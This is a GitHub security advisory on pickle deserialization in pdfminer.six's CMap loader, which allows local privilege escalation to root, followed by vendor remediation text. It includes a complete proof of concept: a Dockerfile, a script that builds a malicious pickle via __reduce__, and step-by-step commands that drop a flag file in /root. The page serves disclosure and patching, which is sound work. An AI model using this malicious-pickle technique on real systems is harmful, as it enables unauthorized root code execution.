GHSA-f83h-ghpp-7wcc
HIGHInsecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
pdfminer-sixReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
🚀 Overview
This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading.
It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

🚨 Special Note
This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512).
While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here.
Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim.
This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on pickle
📚 Table of Contents
- 🔍 Background
- 🐍 Vulnerability Description
- 🎭 Demo Scenario
- 🧨 Technical Details
- 🔧 Setup and Usage
- 📝 Step-by-step Walkthrough
- 🛡️ Security Standards & References
🔍 Background
pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.
🐍 Security Issue: If the CMap search path (
CMAP_PATHor default directories) includes a world-writable or user-writable directory, an attacker can place a malicious.pickle.gzfile that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.
🐍 Vulnerability Description
- Component: pdfminer.six CMap loading (
pdfminer/cmapdb.py) - Issue: Loads and deserializes
.pickle.gzfiles using Python’spicklemodule, which is unsafe for untrusted data. - Exploitability: If a low-privileged user can write to any directory in
CMAP_PATH, they can execute code as the user running pdfminer—potentially root or a privileged service. - Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

🎭 Demo Scenario
Environment:
- 🐧 Alpine Linux (Docker container)
- 👨💻 Two users:
user1(attacker: low-privilege)root(victim: runs privileged PDF-processing script)
- 🗂️ Shared writable directory:
/tmp/uploads - 🛣️
CMAP_PATHset to/tmp/uploadsfor the privileged script - 📦 pdfminer.six installed system-wide
Attack Flow:
- 🕵️♂️
user1creates a malicious CMap file (Evil.pickle.gz) in/tmp/uploads. - 👑 The privileged service (
root) processes a PDF or callsget_cmap("Evil"). - 💣 The malicious pickle is deserialized, running arbitrary code as root.
- 🎯 The exploit creates a flag file in
/root/pwnedByPdfmineras proof.

🧨 Technical Details
- Vulnerability Type: Insecure deserialization of untrusted data using Python's
pickle - Attack Prerequisites: Attacker can write to a directory included in
CMAP_PATH - Vulnerable Line:
Inreturn type(str(name), (), pickle.loads(gzfile.read()))pdfminer/cmapdb.py's_load_datamethod - https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
- Proof of Concept: See
createEvilPickle.py,evilmod.py, andprocessPdf.py
Exploit Chain:
- Attacker places a malicious
.pickle.gzfile in the CMap search path. - Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.
- Arbitrary code executes with the privilege of the process (root/service account).

🔧 Setup and Usage
📁 Files
</> Dockerfile
FROM python:3.11-alpine
ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086
# Install git and build tooling
RUN apk add --no-cache git build-base
WORKDIR /opt
# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
cd pdfminer.six && \
git fetch --all && \
git checkout ${PM_COMMIT} && \
pip install --no-cache-dir -e .
# App working directory for PoC
WORKDIR /app
# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
mkdir -p /tmp/uploads && \
chown user1:user1 /tmp/uploads && \
chmod 1777 /tmp/uploads
# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py
ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1
# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]
</> evilmod.py
import os
def evilFunc():
with open("/root/pwnedByPdfminer", "w") as f:
f.write("ROOTED by pdfminer pickle RCE\n")
return {"CODE2CID": {}, "IS_VERTICAL": False}
</> createEvilPickle.py
import pickle
import gzip
from evilmod import evilFunc
class Evil:
def __reduce__(self):
return (evilFunc, ())
payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
f.write(payload)
print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")
</> processPDF.py
import os
from pdfminer.cmapdb import CMapDB
os.environ["CMAP_PATH"] = "/tmp/uploads"
CMapDB.get_cmap("Evil")
print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

1️⃣ Build and start the demo container
docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ
2️⃣ In the container, open two shells in parallel (or switch users in one):
🕵️♂️ Shell 1 (Attacker: user1)
su user1
cd /app
python createEvilPickle.py
# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1
👑 Shell 2 (Victim: root)
cd /app
python processPdf.py
# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created
3️⃣ Proof of escalation
cat /root/pwnedByPdfminer
# 🏴 Output: ROOTED by pdfminer pickle RCE
<img width="815" height="889" alt="proof-of-exploit" src="https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc" />

📝 Step-by-step Walkthrough
- user1 uses
createEvilPickle.pyto craft and place a malicious CMap pickle in a shared upload directory. - The root user runs a typical PDF-processing script, which loads CMap files from that directory.
- The exploit triggers, running arbitrary code as root.
- The attacker now has proof of code execution as root (and, in a real attack, could escalate further).

🛡️ Security Standards & References
-
CVSS (Common Vulnerability Scoring System):
- Base Score: 7.8 (High)
- Vector:
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-
OWASP Top 10:
- A08:2021 - Software and Data Integrity Failures
- A03:2021 - Injection (by analogy, as it's code injection via deserialization)
-
MITRE CWE References:
-
MITRE ATT&CK Techniques:
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pdfminer-six | all versions | 20251230 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pdfminer-six. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pdfminer-six to 20251230 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f83h-ghpp-7wcc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f83h-ghpp-7wcc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-f83h-ghpp-7wcc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f83h-ghpp-7wcc in your dependencies?
O3 detects GHSA-f83h-ghpp-7wcc across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.